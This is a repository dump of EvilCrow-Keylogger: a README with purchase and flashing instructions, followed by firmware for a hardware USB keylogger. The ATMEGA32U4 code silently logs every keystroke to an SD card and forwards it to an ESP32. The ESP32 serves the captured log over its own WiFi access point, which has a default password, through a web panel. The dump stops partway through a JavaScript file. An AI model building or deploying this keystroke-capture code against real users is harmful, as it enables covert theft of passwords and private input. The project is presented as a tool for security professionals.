Repository: joelsernamoreno/EvilCrow-Keylogger Branch: master Commit: 7be7a1c9be66 Files: 180 Total size: 1.5 MB Directory structure: gitextract_op5brlrq/ ├── README.md ├── code/ │ ├── ATMEGA32U4/ │ │ └── ATMEGA32U4.ino │ └── ESP32/ │ ├── ESP32.ino │ ├── config.h │ ├── index.h │ ├── javascript.h │ ├── style.h │ └── viewlog.h ├── libraries/ │ ├── Keyboard/ │ │ ├── Readme.md │ │ ├── keywords.txt │ │ ├── library.properties │ │ └── src/ │ │ ├── Keyboard.cpp │ │ ├── Keyboard.h │ │ ├── be_be.h │ │ ├── cz_cz.h │ │ ├── da_dk.h │ │ ├── de_de.h │ │ ├── en_us.h │ │ ├── es_es.h │ │ ├── fi_fi.h │ │ ├── fr_fr.h │ │ ├── it_it.h │ │ ├── pt_pt.h │ │ └── tr_tr.h │ └── USB_Host_Shield_2.0/ │ ├── .gitattributes │ ├── .gitignore │ ├── .gitmodules │ ├── .travis.yml │ ├── BTD.cpp │ ├── BTD.h │ ├── BTHID.cpp │ ├── BTHID.h │ ├── PS3BT.cpp │ ├── PS3BT.h │ ├── PS3Enums.h │ ├── PS3USB.cpp │ ├── PS3USB.h │ ├── PS4BT.h │ ├── PS4Parser.cpp │ ├── PS4Parser.h │ ├── PS4USB.h │ ├── PSBuzz.cpp │ ├── PSBuzz.h │ ├── README.md │ ├── SPP.cpp │ ├── SPP.h │ ├── Usb.cpp │ ├── Usb.h │ ├── UsbCore.h │ ├── Wii.cpp │ ├── Wii.h │ ├── WiiCameraReadme.md │ ├── XBOXOLD.cpp │ ├── XBOXOLD.h │ ├── XBOXONE.cpp │ ├── XBOXONE.h │ ├── XBOXRECV.cpp │ ├── XBOXRECV.h │ ├── XBOXUSB.cpp │ ├── XBOXUSB.h │ ├── address.h │ ├── adk.cpp │ ├── adk.h │ ├── avrpins.h │ ├── cdc_XR21B1411.cpp │ ├── cdc_XR21B1411.h │ ├── cdcacm.cpp │ ├── cdcacm.h │ ├── cdcftdi.cpp │ ├── cdcftdi.h │ ├── cdcprolific.cpp │ ├── cdcprolific.h │ ├── confdescparser.h │ ├── controllerEnums.h │ ├── examples/ │ │ ├── Bluetooth/ │ │ │ ├── BTHID/ │ │ │ │ ├── BTHID.ino │ │ │ │ ├── KeyboardParser.h │ │ │ │ └── MouseParser.h │ │ │ ├── PS3BT/ │ │ │ │ └── PS3BT.ino │ │ │ ├── PS3Multi/ │ │ │ │ └── PS3Multi.ino │ │ │ ├── PS3SPP/ │ │ │ │ └── PS3SPP.ino │ │ │ ├── PS4BT/ │ │ │ │ └── PS4BT.ino │ │ │ ├── SPP/ │ │ │ │ └── SPP.ino │ │ │ ├── SPPMulti/ │ │ │ │ └── SPPMulti.ino │ │ │ ├── Wii/ │ │ │ │ └── Wii.ino │ │ │ ├── WiiBalanceBoard/ │ │ │ │ └── WiiBalanceBoard.ino │ │ │ ├── WiiIRCamera/ │ │ │ │ └── WiiIRCamera.ino │ │ │ ├── WiiMulti/ │ │ │ │ └── WiiMulti.ino │ │ │ └── WiiUProController/ │ │ │ └── WiiUProController.ino │ │ ├── HID/ │ │ │ ├── SRWS1/ │ │ │ │ ├── SRWS1.cpp │ │ │ │ ├── SRWS1.h │ │ │ │ └── SRWS1.ino │ │ │ ├── USBHIDBootKbd/ │ │ │ │ └── USBHIDBootKbd.ino │ │ │ ├── USBHIDBootKbdAndMouse/ │ │ │ │ └── USBHIDBootKbdAndMouse.ino │ │ │ ├── USBHIDBootMouse/ │ │ │ │ └── USBHIDBootMouse.ino │ │ │ ├── USBHIDJoystick/ │ │ │ │ ├── USBHIDJoystick.ino │ │ │ │ ├── hidjoystickrptparser.cpp │ │ │ │ └── hidjoystickrptparser.h │ │ │ ├── USBHIDMultimediaKbd/ │ │ │ │ └── USBHIDMultimediaKbd.ino │ │ │ ├── USBHID_desc/ │ │ │ │ ├── USBHID_desc.ino │ │ │ │ └── pgmstrings.h │ │ │ ├── le3dp/ │ │ │ │ ├── le3dp.ino │ │ │ │ ├── le3dp_rptparser.cpp │ │ │ │ └── le3dp_rptparser.h │ │ │ └── scale/ │ │ │ ├── scale.ino │ │ │ ├── scale_rptparser.cpp │ │ │ └── scale_rptparser.h │ │ ├── PS3USB/ │ │ │ └── PS3USB.ino │ │ ├── PS4USB/ │ │ │ └── PS4USB.ino │ │ ├── PSBuzz/ │ │ │ └── PSBuzz.ino │ │ ├── USBH_MIDI/ │ │ │ ├── USBH_MIDI_dump/ │ │ │ │ └── USBH_MIDI_dump.ino │ │ │ ├── USB_MIDI_converter/ │ │ │ │ └── USB_MIDI_converter.ino │ │ │ ├── USB_MIDI_converter_multi/ │ │ │ │ └── USB_MIDI_converter_multi.ino │ │ │ ├── bidirectional_converter/ │ │ │ │ └── bidirectional_converter.ino │ │ │ └── eVY1_sample/ │ │ │ └── eVY1_sample.ino │ │ ├── USB_desc/ │ │ │ ├── USB_desc.ino │ │ │ └── pgmstrings.h │ │ ├── Xbox/ │ │ │ ├── XBOXOLD/ │ │ │ │ └── XBOXOLD.ino │ │ │ ├── XBOXONE/ │ │ │ │ └── XBOXONE.ino │ │ │ ├── XBOXRECV/ │ │ │ │ └── XBOXRECV.ino │ │ │ └── XBOXUSB/ │ │ │ └── XBOXUSB.ino │ │ ├── acm/ │ │ │ └── acm_terminal/ │ │ │ ├── acm_terminal.ino │ │ │ └── pgmstrings.h │ │ ├── adk/ │ │ │ ├── ArduinoBlinkLED/ │ │ │ │ └── ArduinoBlinkLED.ino │ │ │ ├── adk_barcode/ │ │ │ │ └── adk_barcode.ino │ │ │ ├── demokit_20/ │ │ │ │ └── demokit_20.ino │ │ │ ├── term_test/ │ │ │ │ └── term_test.ino │ │ │ └── term_time/ │ │ │ └── term_time.ino │ │ ├── board_qc/ │ │ │ └── board_qc.ino │ │ ├── cdc_XR21B1411/ │ │ │ └── XR_terminal/ │ │ │ └── XR_terminal.ino │ │ ├── ftdi/ │ │ │ └── USBFTDILoopback/ │ │ │ ├── USBFTDILoopback.ino │ │ │ └── pgmstrings.h │ │ ├── hub_demo/ │ │ │ ├── hub_demo.ino │ │ │ └── pgmstrings.h │ │ ├── max_LCD/ │ │ │ └── max_LCD.ino │ │ ├── pl2303/ │ │ │ ├── pl2303_gprs_terminal/ │ │ │ │ └── pl2303_gprs_terminal.ino │ │ │ ├── pl2303_gps/ │ │ │ │ └── pl2303_gps.ino │ │ │ ├── pl2303_tinygps/ │ │ │ │ └── pl2303_tinygps.ino │ │ │ └── pl2303_xbee_terminal/ │ │ │ └── pl2303_xbee_terminal.ino │ │ └── testusbhostFAT/ │ │ ├── Makefile │ │ ├── README.md │ │ └── testusbhostFAT.ino │ ├── gpl2.txt │ ├── hexdump.h │ ├── hidboot.cpp │ ├── hidboot.h │ ├── hidcomposite.cpp │ ├── hidcomposite.h │ ├── hidescriptorparser.cpp │ ├── hidescriptorparser.h │ ├── hiduniversal.cpp │ ├── hiduniversal.h │ ├── hidusagestr.h │ ├── hidusagetitlearrays.cpp │ ├── keywords.txt │ ├── library.json │ ├── library.properties │ ├── macros.h │ ├── masstorage.cpp │ ├── masstorage.h │ ├── max3421e.h │ ├── max_LCD.cpp │ ├── max_LCD.h │ ├── message.cpp │ ├── message.h │ ├── parsetools.cpp │ ├── parsetools.h │ ├── printhex.h │ ├── settings.h │ ├── sink_parser.h │ ├── usb_ch9.h │ ├── usbh_midi.cpp │ ├── usbh_midi.h │ ├── usbhid.cpp │ ├── usbhid.h │ ├── usbhost.h │ ├── usbhub.cpp │ ├── usbhub.h │ ├── version_helper.h │ └── xboxEnums.h └── license.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # EvilCrow-Keylogger WiFi keylogger with Micro SD slot, based on the Atmega32U4 microcontroller and the ESP32-PICO module ![EvilCrow](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/Logo1.jpg) **Idea, development and implementation:** Joel Serna (@JoelSernaMoreno) & Ernesto Sánchez (@ernesto_xload) **Collaborators:** Ignacio Díaz (@Nacon_96) / Forensic&Security (@ForensicSec) **PCB design, manufacturer and distributor:** April Brother (@aprbrother) The developers and collaborators of this project do not earn money with this. You can invite me for a coffee to further develop Low-Cost hacking devices. If you don't invite me for a coffee, nothing happens, I will continue developing devices. [![ko-fi](https://www.ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/E1E614OA5) **Available with April Brother (shipping from China):** * Aliexpress: https://www.aliexpress.us/item/3256806627810074.html * Tindie: https://www.tindie.com/products/aprbrother/evilcrow-keylogger/ **Available with SAPSAN Cybersec & Military (shipping from EU, Poland):** * https://sapsan-sklep.pl/en/products/evilcrow-hardware-keylogger **Available with KSEC KSEC Worldwide (shipping from the United Kingdom):** * https://labs.ksec.co.uk/product/evilcrow-keylogger-wifi-keylogger-with-micro-sd-slot/ **Available with Tienda Espía (shipping from Mexico):** * https://tiendaespia.com.mx/producto/evil-crow-keylogger-wifi/ **Summary:** 1. Disclaimer 2. Introduction 3. Installation * Software requirements * Layout support * Automatic installation * Automatic installation with ESP Flasher * Manual installation 4. Firmware * First steps with Evil Crow Keylogger * Home * Log Viewer * Config 5. Use the Micro SD Slot 6. Unbrick Evil Crow Keylogger with Hall Sensor # Disclaimer Evil Crow Keylogger is a physical keylogger device for professionals and cybersecurity enthusiasts. AprilBrother and the collaborators of this project are not responsible for the incorrect use of Evil Crow Keylogger. We recommend using this device for testing, learning and fun :D # Introduction Evil Crow Keylogger is a physical keylogger with the following hardware: * Atmega32U4 with Arduino Lilypad USB bootloader * ESP32-PICO module for communication via Wi-Fi * Slot MicroSD * USB Host MAX3421 * Hall sensor for unbrick device **NOTE:** * Some keys or modifiers have not been implemented. I don't have time or material to test all the keyboards. If you have any errors, you can contact me by Twitter: @JoelSernaMoreno * All Keyloggers have been flashed firmware `EvilCrow-Keylogger` before shipping **Layouts:** * BE_BE layout support. * CZ_CZ layout support. * DA_DK layout support. * DE_DE layout support. * EN_US layout support. * ES_ES layout support. * FI_FI layout support. * FR_FR layout support. * IT_IT layout support. * PT_PT layout support. * TR_TR layout support. **NOTE:** Please do not ask me to implement new functions in this code. You can develop code for Evil Crow Keylogger and send me PR with your new code. # Installation ## Software requirements * 0.- Add your user to the dialout group: sudo usermod -a -G dialout USER * 1.- Install esptool: sudo apt install esptool * 2.- Install pyserial: sudo pip install pyserial Now you can flash Atmega32u4 and ESP32-PICO in different ways: * Automatic installation * Automatic installation with ESP Flasher * Manual installation ## Layout support Evil Crow Keylogger supports several layouts, the en_us layout is by default. Set up a new layout: * 0.- Open Keyboard/src/Keyboard.cpp with a text editor * 1.- Change #define kbd_en_us to another layout. Example: #define kbd_es_es You can use: - kbd_be_be - kbd_cz_cz - kbd_da_dk - kbd_de_de - kbd_en_us - kbd_es_es - kbd_fi_fi - kbd_fr_fr - kbd_it_it - kbd_pt_pt - kbd_tr_tr * 2.- Save and close Keyboard.cpp ## Automatic installation 1. Install Platformio Core: https://docs.platformio.org/en/latest/core/index.html 1. Download [keylogger-pio](https://github.com/volca/keylogger-pio.git) repository (This is a migration of Evil Crow Keylogger to platformio): `git clone https://github.com/volca/keylogger-pio.git` 1. Download source [EvilCrow-Keylogger](https://github.com/joelsernamoreno/EvilCrow-Keylogger.git). Put the directory in same level with keylogger-pio: `git clone https://github.com/joelsernamoreno/EvilCrow-Keylogger.git` 1. Add jumper GPIO0 to GND for ESP32-PICO ![Jumper](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/jumper.jpg) 1. Connect Evil Crow Keylogger via USB port 1. Go to the keylogger-pio directory: `cd keylogger-pio` 1. Run `flash.bat` or `./flash.sh` to program 32u4 and esp32-pico **Note:** Please re-plug Evil Crow Keylogger if you run the steps again. Because the script can't reset ESP32-PICO to program mode. ## Automatic installation with ESP Flasher Buy ESP Flasher: https://www.aliexpress.com/item/32556128986.html 1. Install Platformio Core: https://docs.platformio.org/en/latest/core/index.html 2. Download Keylogger-pio: https://github.com/volca/keylogger-pio/tree/prod (This is a migration of Evil Crow Keylogger to platformio): `git clone -b prod https://github.com/volca/keylogger-pio.git keylogger-pio` 3. Download source EvilCrow-Keylogger. Extract the source code and name it as EvilCrow-Keylogger. Put the directory in same level with keylogger-pio 4. Wire ESP Flasher and Evil Crow Keylogger ![Keylogger ESP Flasher](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/keylogger-wired.jpg) 5. Connect Evil Crow Keylogger and ESP Flasher to your laptop 6. Open command line and change directory to keylogger-pio 7. Run flash.bat or ./flash.sh to program 32u4 and esp32-pico ## Manual installation * 0.- Download and Install the Arduino IDE: https://www.arduino.cc/en/main/software * 1.- Open Arduino IDE. * 2.- Go to File - Preferences. Locate the field "Additional Board Manager URLs:" Add "https://dl.espressif.com/dl/package_esp32_index.json" without quotes. Click "Ok" * 3.- Select Tools - Board - Boards Manager. Search for "esp32". Install "esp32 by Espressif system version 1.0.3". Click "Close". * 4.- Download/extract EvilCrow-Keylogger repository. * 5.- Copy the Keyboard and USB Host Shield libraries included in this repository to your Arduino library directory. **NOTE:** The Keyboard library included in this repository has been modified, EvilCrow Keylogger needs this library to work. ### Upload the ESP32 code To upload the ESP32 code into the keylogger, you can do this in different ways: You can use an Arduino, an FTDI or an ESP Flasher from April Brother. On this way I will use an Arduino to upload the ESP32 code. Here you can see all the pins corresponding to ESP32: ![ESP32](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32.PNG) 1. Wire the Keylogger with Arduino using the following pinout: ![Flash](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32-flash.PNG) ![Wire](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/wire.jpg) 1. Open Arduino IDE. 1. Open the ESP32.ino sketch. 1. Select Tools * Board - "ESP32 Dev Module". * Flash Size - "4MB (32Mb)". * CPU Frequency - "80MHz". 1. Connecting the Arduino device to the computer. 1. Upload the code to the board. ### Upload atmega32u4 code * 0.- Connect Evil Crow Keylogger via USB port. ![usb](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/usb.jpg) * 1.- Open Arduino IDE. * 2.- Open the ATMEGA32U4.ino sketch. * 3.- Select Tools - Board – "Arduino Lilypad USB". * 4.- Upload the code to the board. * Done! ## First steps with Evil Crow Keylogger * 0.- Connect a keyboard to the Evil Crow Keylogger USB host port. * 1.- Connect Evil Crow Keylogger to your laptop. * 2.- Open a notepad and type Hello World with the keyboard connected to the keylogger * 3.- Visualize the wifi networks around you and connect to the Keylogger (default SSID: Evil Crow Keylogger). * 4.- Enter the password for the wifi network (default password: 123456789ECKeylogger). * 5.- Open a browser and access the web panel (http://192.168.4.1/ or http://evilcrow-keylogger.local/). **Note:** If you cannot access the web panel, use the default IP address (http://192.168.4.1) or follow below steps **only if you are running Linux OS:** * check if avahi-deamon is installed and running on your PC. You can do this with executing "sudo systemctl status avahi-daemon" in terminal * If service is not running, install it using your package manager (apt, yum, dnf, Packman, rpm,...) * After successful installation, start avahi-daemon service with "sudo systemctl start avahi-daemon && sudo systemctl enable avahi-daemon" * In case evilcrow-keylogger.local is still not reachable, use http://192.168.4.1/. ## Home The Home page shows interesting information about the device. ![Home](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/home.png) ## Log Viewer ![LogViewer](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/log-viewer.png) ## Config The Config page allows you to change the Wi-Fi configuration. **NOTE:** Evil Crow Keylogger is configured in AP MODE. You can change the ssid and password from the web panel. The changes will be stored in the device, every time you restart Evil Crow Keylogger the new Wi-Fi settings will be applied. If you want to return to the default settings, you can delete the stored Wi-Fi configuration from the web panel. ![CONFIG](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/configwifi.png) ## Use the Micro SD Slot Evil Crow Keylogger also stores the log on the Micro SD card. **File:** logs.txt ## Unbrick Evil Crow Keylogger with Hall Sensor First, you’ll need to set the serial port to the bootloader. But that port is only visible when the board is in bootloader mode, so pull the reset line low twice quickly to invoke the bootloader reset feature. You can quickly press the reset button** twice. While the Evil Crow Keylogger is in the bootloader mode, change the ‘Tools > Serial Port’ menu to the bootloader COM port. Quick! You’ve only got eight seconds. **The reset button is a HALL sensor, that means you need to place a magnet close that side of the PCB, in order to simulate the "button pressure".** ![Sensor](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/sensor.PNG) * 1.- Open Arduino IDE and open ATMEGA32U4.ino sketch * 2.- Connect Evil Crow Keylogger via USB port. * 3.- Press Upload sketch * 4.- Start the unbrick phase with a magnet by placing it close that side of the PCB where the hall sensor is located (do it two times). Close-away-close-away ================================================ FILE: code/ATMEGA32U4/ATMEGA32U4.ino ================================================ #include #include #include #include #include #define MODIFIERKEY_LEFT_CTRL (0x01) #define MODIFIERKEY_LEFT_SHIFT (0x02) #define MODIFIERKEY_LEFT_ALT (0x04) #define MODIFIERKEY_LEFT_GUI (0x08) #define MODIFIERKEY_RIGHT_CTRL (0x10) #define MODIFIERKEY_RIGHT_SHIFT (0x20) #define MODIFIERKEY_RIGHT_ALT (0x40) #define MODIFIERKEY_RIGHT_GUI (0x80) #define SHIFT (0x80) #define ALTGR (0x40) extern const uint8_t _asciimap[] PROGMEM; // modifier states int leftctrl_status=0; int leftshift_status=0; int leftalt_status=0; int leftgui_status=0; int rightctrl_status=0; int rightshift_status=0; int rightalt_status=0; int rightgui_status=0; uint8_t modifiers=0; uint8_t modifiersard=0; int key_modifier; File SDlog; void SetModifiers(void) { modifiers=0; if (leftctrl_status) modifiers |= MODIFIERKEY_LEFT_CTRL; if (leftshift_status) modifiers |= MODIFIERKEY_LEFT_SHIFT; if (leftalt_status) modifiers |= MODIFIERKEY_LEFT_ALT; if (leftgui_status) modifiers |= MODIFIERKEY_LEFT_GUI; if (rightctrl_status) modifiers |= MODIFIERKEY_RIGHT_CTRL; if (rightshift_status) modifiers |= MODIFIERKEY_RIGHT_SHIFT; if (rightalt_status) modifiers |= MODIFIERKEY_RIGHT_ALT; if (rightgui_status) modifiers |= MODIFIERKEY_RIGHT_GUI; } void SetModifiersArd(void) { modifiersard=0; // Arduino modifier mapping (SHIFT, ALTGR) if (leftshift_status) modifiersard |= SHIFT; if (rightalt_status) modifiersard |= ALTGR; } class KbdRptParser : public KeyboardReportParser { void PrintKey(uint8_t mod, uint8_t key); protected: void OnControlKeysChanged(uint8_t before, uint8_t after); void OnKeyDown(uint8_t mod, uint8_t key); void OnKeyUp(uint8_t mod, uint8_t key); void OnKeyPressed(uint8_t key); }; // Keys HID Code mapped const char* KeysChar(uint8_t key) { switch(key) { case 0x62: return "0"; // NumPad 0 case 0x59: return "1"; // NumPad 1 case 0x5A: return "2"; // NumPad 2 case 0x5B: return "3"; // NumPad 3 case 0x5C: return "4"; // NumPad 4 case 0x5D: return "5"; // NumPad 5 case 0x5E: return "6"; // NumPad 6 case 0x5F: return "7"; // NumPad 7 case 0x60: return "8"; // NumPad 8 case 0x61: return "9"; // NumPad 9 case 0x29: return " [ESC] "; // Esc case 0x3A: return " [F1] "; // F1 case 0x3B: return " [F2] "; // F2 case 0x3C: return " [F3] "; // F3 case 0x3D: return " [F4] "; // F4 case 0x3E: return " [F5] "; // F5 case 0x3F: return " [F6] "; // F6 case 0x40: return " [F7] "; // F7 case 0x41: return " [F8] "; // F8 case 0x42: return " [F9] "; // F9 case 0x43: return " [F1O] "; // F10 case 0x44: return " [F11] "; // F11 case 0x45: return " [F12] "; // F12 case 0x46: return " [PRINTSCREEN] "; // PrintScreen case 0x47: return " [SCROLLLOCK] "; // Scroll Lock case 0x48: return " [PAUSE] "; // Pause case 0x2A: return " [BACKSPACE] "; // Back Space case 0x49: return " [INSERT] "; // Insert case 0x4A: return " [HOME] "; // Home case 0x4B: return " [PAGEUP] "; // Page UP case 0x4E: return " [PAGEDOWN] "; // Page Down case 0x4C: return " [DELETE] "; // Delete case 0x4D: return " [END] "; // End case 0x52: return " [UP] "; // UP case 0x51: return " [DOWN] "; // DOWN case 0x50: return " [LEFT] "; // LEFT case 0x4F: return " [RIGHT] "; // RIGHT case 0x53: return " [NUMLOCK] "; // Num Lock case 0x54: return " [NUMPAD /] "; // NumPad / case 0x55: return " [NUMPAD *] "; // NumPad * case 0x56: return " [NUMPAD -] "; // NumPad - case 0x57: return " [NUMPAD +] "; // NumPad + case 0x63: return " [NUMPAD .] "; // NumPad . case 0x58: return " [NUMPADRETURN] "; // NumPad Return case 0x2B: return " [TAB] "; // TAB case 0x39: return " [CAPSLOCK] "; // Caps Lock case 0x65: return " [MENU] "; // Menu default: return nullptr; } } void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) { SetModifiersArd(); Keyboard.rawrelease(key, 0); key_modifier = key | modifiersard; SDlog = SD.open("logs.txt", FILE_WRITE); bool written = false; // Main Keyboard ASCII mapping for (int i = 0; i < 256; i++) { if (pgm_read_byte(_asciimap + i) == key_modifier) { SDlog.write(i); Serial1.write(i); written = true; break; } } // Keys digits fallback logging if (!written) { const char* txt = KeysChar(key); if (txt != nullptr) { SDlog.print(txt); Serial1.print(txt); } } SDlog.close(); } void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { SetModifiers(); Keyboard.rawpress(key, modifiers); } void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) { MODIFIERKEYS beforeMod; *((uint8_t*)&beforeMod) = before; MODIFIERKEYS afterMod; *((uint8_t*)&afterMod) = after; if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) leftctrl_status = !leftctrl_status; if (beforeMod.bmLeftShift != afterMod.bmLeftShift) leftshift_status = !leftshift_status; if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) leftalt_status = !leftalt_status; if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI) { if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI); else Keyboard.release(KEY_LEFT_GUI); } if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) rightctrl_status = !rightctrl_status; if (beforeMod.bmRightShift != afterMod.bmRightShift) rightshift_status = !rightshift_status; if (beforeMod.bmRightAlt != afterMod.bmRightAlt) rightalt_status = !rightalt_status; if (beforeMod.bmRightGUI != afterMod.bmRightGUI) rightgui_status = !rightgui_status; } USB Usb; USBHub Hub(&Usb); HIDBoot HidKeyboard(&Usb); KbdRptParser Prs; void setup() { Serial.begin(38400); Serial1.begin(38400); delay(500); SD.begin(5); #if !defined(__MIPSEL__) while (!Serial1); #endif if (Usb.Init() == -1) delay(200); HidKeyboard.SetReportParser(0, &Prs); } void loop() { Usb.Task(); } ================================================ FILE: code/ESP32/ESP32.ino ================================================ #include #include #include #include #include #include "SPIFFS.h" #include "index.h" #include "viewlog.h" #include "config.h" #include "javascript.h" #include "style.h" // Config SSID, password and hostname String defaultSSID = "Evil Crow Keylogger"; String defaultPassword = "123456789ECKeylogger"; String hostname = "evilcrow-keylogger"; // File File logs; // Web Server String webString; char local_IPstr[16]; const bool formatOnFail = true; WebServer controlserver(80); void enableWiFi() { String wifiSSID = defaultSSID; String wifiPassword = defaultPassword; if (readWiFiConfig(wifiSSID, wifiPassword)) { //Serial.println("Using saved Wi-Fi credentials."); } else { //Serial.println("Using default Wi-Fi credentials."); } WiFi.mode(WIFI_AP); WiFi.softAP(wifiSSID.c_str(), wifiPassword.c_str()); } void appendFile(fs::FS &fs, const char *path, const char *message, String messagestring) { logs = fs.open(path, FILE_APPEND); if (!logs) { // Serial.println("Failed to open file for appending"); return; } if (logs.print(message) | logs.print(messagestring)) { // Serial.println("Message appended"); } else { // Serial.println("Append failed"); } logs.close(); } void deleteFile(fs::FS &fs, const char * path){ //Serial.printf("Deleting file: %s\n", path); if(fs.remove(path)){ //Serial.println("File deleted"); } else { //Serial.println("Delete failed"); } } bool readWiFiConfig(String &ssid, String &password) { if (!SPIFFS.exists("/wifi_config.txt")) { //Serial.println("Wi-Fi config file not found"); return false; } File file = SPIFFS.open("/wifi_config.txt", FILE_READ); if (!file) { //Serial.println("Failed to open Wi-Fi config file"); return false; } ssid = file.readStringUntil('\n'); ssid.trim(); password = file.readStringUntil('\n'); password.trim(); file.close(); if (ssid.length() == 0 || password.length() == 0) { //Serial.println("Invalid Wi-Fi config (empty fields)"); return false; } //Serial.println("Wi-Fi config read successfully:"); //Serial.print("SSID: "); Serial.println(ssid); //Serial.print("Password: "); Serial.println(password); return true; } void handleUpdateWiFi() { if (controlserver.hasArg("ssid") && controlserver.hasArg("password")) { String newSSID = controlserver.arg("ssid"); String newPassword = controlserver.arg("password"); if (SPIFFS.exists("/wifi_config.txt")) { SPIFFS.remove("/wifi_config.txt"); } appendFile(SPIFFS, "/wifi_config.txt", newSSID.c_str(), "\n"); appendFile(SPIFFS, "/wifi_config.txt", newPassword.c_str(), "\n"); controlserver.send(200, "application/json", "{\"status\":\"success\",\"message\":\"Wi-Fi config applied successfully! Device will restart.\"}"); delay(500); ESP.restart(); } else { controlserver.send(400, "application/json", "{\"status\":\"error\",\"message\":\"Missing SSID or password\"}"); } } void handleDeleteWiFiConfig() { if (SPIFFS.exists("/wifi_config.txt")) { if (SPIFFS.remove("/wifi_config.txt")) { controlserver.send(200, "application/json", "{\"status\":\"success\",\"message\":\"Wi-Fi config deleted successfully\"}"); ESP.restart(); } else { controlserver.send(500, "application/json", "{\"status\":\"error\",\"message\":\"Failed to delete the file\"}"); } } else { controlserver.send(404, "application/json", "{\"status\":\"error\",\"message\":\"Wi-Fi config file not found\"}"); } } void handleStats() { size_t freeSpiffs = 0; if (SPIFFS.begin(true)) { freeSpiffs = SPIFFS.totalBytes() - SPIFFS.usedBytes(); } String json = "{"; json += "\"uptime\":" + String(millis() / 1000); json += ",\"cpu0\":" + String(getCpuFrequencyMhz()); json += ",\"cpu1\":" + String(getXtalFrequencyMhz()); json += ",\"temperature\":" + String(temperatureRead()); json += ",\"freespiffs\":" + String(freeSpiffs); json += ",\"totalram\":" + String(ESP.getHeapSize()); json += ",\"freeram\":" + String(ESP.getFreeHeap()); json += "}"; controlserver.send(200, "application/json", json); } void setup() { Serial.begin(38400); SPIFFS.begin(formatOnFail); delay(2000); enableWiFi(); if (!MDNS.begin(hostname.c_str())) { //Serial.println("Error setting up MDNS responder!"); } logs = SPIFFS.open("/logs.txt", "a+"); controlserver.on("/", []() { controlserver.send(200, "text/html", Index); }); controlserver.on("/viewlog", []() { controlserver.send(200, "text/html", ViewLog); }); controlserver.on("/logs", [](){ logs.close(); String serverlog; serverlog += controlserver.arg(0); logs = SPIFFS.open("/logs.txt"); webString = logs.readString(); logs.close(); logs = SPIFFS.open("/logs.txt", "a+"); controlserver.send(200, "text/html", "View Log: "+serverlog +"\n-----\n"+webString); loop(); }); controlserver.on("/delete", []() { deleteFile(SPIFFS, "/logs.txt"); controlserver.send(200, "application/json", "{\"status\":\"deleted\"}"); }); controlserver.on("/config", [](){ controlserver.send(200, "text/html", Config); }); controlserver.on("/updatewifi", handleUpdateWiFi); controlserver.on("/deletewificonfig", handleDeleteWiFiConfig); controlserver.on("/stats", handleStats); controlserver.on("/reboot", []() { controlserver.send(200, "application/json", "{\"success\":true,\"message\":\"Device rebooting\"}"); delay(200); ESP.restart(); }); controlserver.on("/connectioncheck", []() { controlserver.send(200, "application/json", "{\"status\":\"ok\"}"); }); controlserver.on("/javascript.js", []() { controlserver.send(200, "text/javascript", Javascript); }); controlserver.on("/style.css", []() { controlserver.send(200, "text/css", Style); }); controlserver.begin(); } void loop() { controlserver.handleClient(); if(Serial.available()) { logs.write(Serial.read()); } } ================================================ FILE: code/ESP32/config.h ================================================ const char Config[] PROGMEM = R"=====( EvilCrow-Keylogger
WIFI

Reload of CSS/JS files.

)====="; ================================================ FILE: code/ESP32/index.h ================================================ const char Index[] PROGMEM = R"=====( EvilCrow-Keylogger
Connection Status:
Firmware: v1.1
Uptime: N/A
CPU Temperature: N/A
CPU Core 0 Frequency: N/A
CPU Core 1 Frequency: N/A
Free SPIFFS Memory: N/A
Total RAM: N/A
Free RAM: N/A
)====="; ================================================ FILE: code/ESP32/javascript.h ================================================ const char Javascript[] PROGMEM = R"=====( // Track navigation state and abort controller globally let isNavigating = false; let abortControllers = []; let navigationTimeout = null; const isHomePage = window.location.pathname === '/' || window.location.pathname === '/index.html'; let lastConnectionCheck = 0; function checkConnection() { const now = Date.now(); if (now - lastConnectionCheck < 2000) return; lastConnectionCheck = now; if (isNavigating) { abortAllRequests(); return; } const controller = new AbortController(); abortControllers.push(controller); const timeout = setTimeout(() => controller.abort(), 1500); fetch(isHomePage ? '/stats' : '/connectioncheck', { signal: controller.signal }) .then(response => { clearTimeout(timeout); if (isNavigating) return; if (isHomePage) { return response.json().then(data => { updateStats(data); }); } else { updateConnectionStatus(response.ok); return response.json(); } }) .catch(error => { clearTimeout(timeout); if (error.name !== 'AbortError' && !isNavigating) { updateConnectionStatus(false); if (isHomePage) { document.getElementById('uptime').innerText = 'N/A'; document.getElementById('cpu0').innerText = 'N/A'; document.getElementById('cpu1').innerText = 'N/A'; document.getElementById('temperature').innerText = 'N/A'; document.getElementById('freespiffs').innerText = 'N/A'; document.getElementById('totalram').innerText = 'N/A'; document.getElementById('freeram').innerText = 'N/A'; } } }); } function abortAllRequests() { abortControllers.forEach(controller => controller.abort()); abortControllers = []; } function setupNavigation() { const links = document.querySelectorAll("#menu a"); links.forEach(link => { link.addEventListener('click', function(e) { if (this.classList.contains('active')) { e.preventDefault(); return; } isNavigating = true; abortAllRequests(); document.body.classList.add('page-loading'); if (/iPad|iPhone|iPod/.test(navigator.userAgent)) { e.preventDefault(); setTimeout(() => { window.location.replace(this.href); }, 50); } else { setTimeout(() => { window.location.href = this.href; }, 100); } }); }); const currentPath = 